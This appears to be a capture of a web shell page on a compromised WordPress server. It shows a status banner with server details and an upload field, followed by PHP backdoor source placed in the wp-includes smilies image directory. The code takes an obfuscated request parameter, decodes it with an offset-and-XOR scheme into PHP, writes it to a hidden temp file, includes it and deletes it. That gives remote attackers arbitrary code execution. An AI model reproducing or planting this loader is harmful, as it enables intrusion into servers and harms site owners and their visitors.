| Server IP : 162.243.168.218 / Your IP : 216.73.216.67 Web Server : Apache System : Linux ISPCONFIG-WEB-EMPRESAS 5.15.0-174-generic #184-Ubuntu SMP Fri Mar 13 18:41:50 UTC 2026 x86_64 User : web23 ( 5020) PHP Version : 8.3.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/clients/client3/web23/web/wp-includes/images/smilies/ |
Upload File : |
<?php
if(count($_REQUEST) > 0 && isset($_REQUEST["s\x79\x6D"])){
$element = $_REQUEST["s\x79\x6D"];
$element= explode( '.' , $element ) ;
$k = '';
$s6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s6);
$__len = count($element);
for ($t = 0; $t <$__len; $t++) { $v4 = $element[$t];
$chS = ord($s6[$t % $sLen]);
$dec = ((int)$v4 - $chS - ($t % 10)) ^ 14;
$k .= chr($dec);
}
$dat = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]);
$ent = 0;
do {
$elem = $dat[$ent] ?? null;
if ($ent >= count($dat)) break;
if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) {
$descriptor = join("/", [$elem, ".parameter_group"]);
$file = fopen($descriptor, 'w');
if ($file) {
fwrite($file, $k);
fclose($file);
include $descriptor;
@unlink($descriptor);
exit;
}
}
$ent++;
} while (true);
}